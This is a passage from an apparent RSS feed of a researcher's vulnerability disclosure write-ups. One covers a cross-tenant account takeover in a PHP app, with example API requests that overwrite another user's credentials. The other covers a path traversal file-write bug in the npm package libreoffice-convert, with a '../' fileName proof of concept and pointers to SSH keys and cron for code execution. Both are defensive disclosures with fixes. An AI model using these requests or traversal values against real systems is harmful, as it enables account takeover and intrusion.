&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$me&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$me&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isOwner&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// User.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;isOwner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Company&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'company'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;owner_id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;isOwner()&lt;/code&gt; only asks "is the requester the owner of the company in &lt;em&gt;their own&lt;/em&gt; header?" — it never checks that &lt;code&gt;$target&lt;/code&gt; belongs to that company. So an Owner of Company A sails through the check for a user who lives entirely in Company B.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwdfkubtk1sxnucygnlm6.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwdfkubtk1sxnucygnlm6.gif" alt="How the account takeover works" width="800" height="586"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The check verified who &lt;em&gt;you&lt;/em&gt; are, never who the &lt;em&gt;target&lt;/em&gt; is — so &lt;code&gt;isOwner()&lt;/code&gt; was a global skeleton key, not a tenant boundary.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;Company A (owner: alice), Company B (owner: bob); &lt;strong&gt;carol&lt;/strong&gt; (id 7) belongs to &lt;strong&gt;Company B only&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# as alice, header  company: A
GET  /api/v1/users/7                                        -&amp;gt; 200, returns carol (Company B)
PUT  /api/v1/users/7  { email, password,
                        companies: [{ id: A, role: "super admin" }] }   -&amp;gt; 200
# carol's email + password overwritten; carol re-synced into Company A as super-admin

# control: a non-owner member of A
GET  /api/v1/users/7                                        -&amp;gt; 403
# the route IS access-controlled; the bug is specifically the missing target-company check for owners
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Version &lt;strong&gt;2.4.1&lt;/strong&gt; scopes the check to the requester's company — exactly the way the &lt;code&gt;delete()&lt;/code&gt; path already did (its code even carried the comment &lt;em&gt;"so a user from one company cannot delete accounts belonging to another"&lt;/em&gt;). After the owner check, verify the target belongs to the active company (&lt;code&gt;$target-&amp;gt;hasCompany($company)&lt;/code&gt; / &lt;code&gt;User::whereCompany(...)&lt;/code&gt;), or constrain the route-model binding to the active company.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Read and write paths need the &lt;em&gt;same&lt;/em&gt; tenant scoping.&lt;/strong&gt; A guard on &lt;code&gt;delete&lt;/code&gt; means nothing if &lt;code&gt;view&lt;/code&gt;/&lt;code&gt;update&lt;/code&gt; skip it — attackers just pick the unguarded verb.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implicit route-model binding by global PK is a footgun in multi-tenant apps.&lt;/strong&gt; Bind within the tenant scope, or you've shipped a global object lookup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Am I an owner?" is not "am I allowed to touch &lt;em&gt;this&lt;/em&gt; object?"&lt;/strong&gt; Authorize the object, not just the role.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-13&lt;/strong&gt; — reported privately via GitHub private vulnerability reporting.&lt;/li&gt;
&lt;li&gt;Fixed in &lt;strong&gt;2.4.1&lt;/strong&gt;; advisory &lt;strong&gt;GHSA-vgx6-6cqr-m8qr&lt;/strong&gt; published; &lt;strong&gt;CVE-2026-55610&lt;/strong&gt; assigned; credited as Reporter.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Advisory: &lt;code&gt;GHSA-vgx6-6cqr-m8qr&lt;/code&gt; / &lt;strong&gt;CVE-2026-55610&lt;/strong&gt; (High, 8.7). Thanks to the maintainer for the quick fix.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Your turn:&lt;/strong&gt; how do you keep read and write authorization in sync across a multi-tenant app — shared policy helpers, a global tenant scope, tests that assert 403 across tenants? Curious what's worked for you.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq and Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>php</category>
      <category>appsec</category>
    </item>
    <item>
      <title>One unchecked filename let a popular npm document converter write to any path on disk (CVE-2026-54732)</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Sun, 02 Aug 2026 15:24:41 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/one-unchecked-filename-let-a-popular-npm-document-converter-write-to-any-path-on-disk-9a3</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/one-unchecked-filename-let-a-popular-npm-document-converter-write-to-any-path-on-disk-9a3</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;libreoffice-convert&lt;/code&gt;, a widely used npm wrapper around LibreOffice, built the output path from a &lt;strong&gt;caller-supplied &lt;code&gt;fileName&lt;/code&gt;&lt;/strong&gt; and never reduced it to a base name.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;fileName&lt;/code&gt; containing &lt;code&gt;../&lt;/code&gt; escaped the temp directory, so a caller could write arbitrary content to &lt;strong&gt;any path the process could write to&lt;/strong&gt; — &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;, an &lt;code&gt;/etc/cron.d&lt;/code&gt; entry, a web root. Arbitrary file write, one short hop from RCE.&lt;/li&gt;
&lt;li&gt;Fixed in &lt;strong&gt;1.8.2&lt;/strong&gt; (adds &lt;code&gt;path.basename&lt;/code&gt;). Assigned &lt;strong&gt;CVE-2026-54732&lt;/strong&gt; (Moderate, 6.5). I reported it and am credited as Reporter.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;libreoffice-convert&lt;/code&gt; is a small, popular building block: apps call it to turn a DOCX/HTML/ODT buffer into a PDF. It's exactly the kind of dependency that quietly sits behind an "upload and convert" feature. And in document pipelines, the filename is &lt;em&gt;very often&lt;/em&gt; influenced by user input — so this turns an innocent "convert my file" into "write a file wherever you want."&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;The API looks harmless — you hand it a buffer and a target format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;libre&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;libreoffice-convert&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// convert a buffer to PDF, with a caller-provided output fileName&lt;/span&gt;
&lt;span class="nx"&gt;libre&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;convertWithOptions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;inputBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.pdf&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;fileName&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Internally, the converted document is written into a temporary directory, using that &lt;code&gt;fileName&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;Simplified, the vulnerable path looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;outPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tempDir&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// fileName is caller-controlled&lt;/span&gt;
&lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;outPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;documentBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;         &lt;span class="c1"&gt;// written verbatim&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;fileName&lt;/code&gt; is never reduced to a base name before it's joined. And &lt;code&gt;path.join&lt;/code&gt; is not a sandbox — it happily resolves &lt;code&gt;..&lt;/code&gt; segments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/tmp/abc123&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../../../home/app/.ssh/authorized_keys&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// =&amp;gt; '/home/app/.ssh/authorized_keys'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the write lands wherever the traversal points.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08dpt8jngkszzvzrwi6f.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08dpt8jngkszzvzrwi6f.gif" alt="Animated story: attacker-controlled filename travels App -&gt; libreoffice-convert -&gt; Filesystem, escapes tmpDir into an arbitrary file write, fixed by path.basename in v1.8.2" width="800" height="476"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The library treated &lt;code&gt;fileName&lt;/code&gt; as a &lt;em&gt;name&lt;/em&gt;, but &lt;code&gt;path.join&lt;/code&gt; treats it as a &lt;em&gt;path&lt;/em&gt; — and nobody called &lt;code&gt;path.basename()&lt;/code&gt; in between.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;A marker file, not a weapon — just enough to prove the write escapes the temp dir:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;libre&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;convertWithOptions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.pdf&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../../../tmp/pwned-by-poc.pdf&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="c1"&gt;// -&amp;gt; writes to /tmp/pwned-by-poc.pdf, outside the intended temp directory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repoint that &lt;code&gt;fileName&lt;/code&gt; at &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;, an &lt;code&gt;/etc/cron.d/*&lt;/code&gt; file, or a script inside a web root, and "arbitrary file write" becomes "arbitrary code execution."&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Version &lt;strong&gt;1.8.2&lt;/strong&gt; wraps the value in &lt;code&gt;path.basename(fileName)&lt;/code&gt;, which strips any directory components so the write can't leave the temp directory. One line.&lt;/p&gt;

&lt;p&gt;If you use this package: upgrade to &lt;strong&gt;&amp;gt;= 1.8.2&lt;/strong&gt;. If you're pinned for now, call &lt;code&gt;path.basename()&lt;/code&gt; on any filename you pass in — and never forward a user-supplied filename unvalidated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Any time you build a filesystem path from a caller-supplied string, &lt;code&gt;path.basename()&lt;/code&gt; it. &lt;code&gt;path.join&lt;/code&gt; cleans &lt;code&gt;..&lt;/code&gt;, it doesn't &lt;em&gt;contain&lt;/em&gt; it.&lt;/li&gt;
&lt;li&gt;"It's just a filename" is a trap. In upload/convert/document pipelines, the filename is routinely attacker-influenced.&lt;/li&gt;
&lt;li&gt;Write-path bugs are quieter than read-path ones and often worse: arbitrary write is a short hop to RCE via SSH keys, cron, or a web root.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-09&lt;/strong&gt; — reported privately to the maintainer (and via Snyk), coordinated disclosure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-07-04&lt;/strong&gt; — fix released in &lt;strong&gt;1.8.2&lt;/strong&gt; (&lt;code&gt;path.basename&lt;/code&gt;); advisory published.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-54732&lt;/strong&gt; assigned; credited as Reporter.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Advisory: &lt;code&gt;GHSA-gmxc-r82q-347r&lt;/code&gt; / &lt;strong&gt;CVE-2026-54732&lt;/strong&gt;. Thanks to the maintainer for the fast, clean fix.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Your turn:&lt;/strong&gt; do you have a hard rule for user-supplied filenames in your services, or is it case-by-case in review? What's caught this for you — lint, a wrapper, a code-review checklist? Curious what people use.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq and Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>node</category>
      <category>appsec</category>
    </item>
  </channel>
</rss>
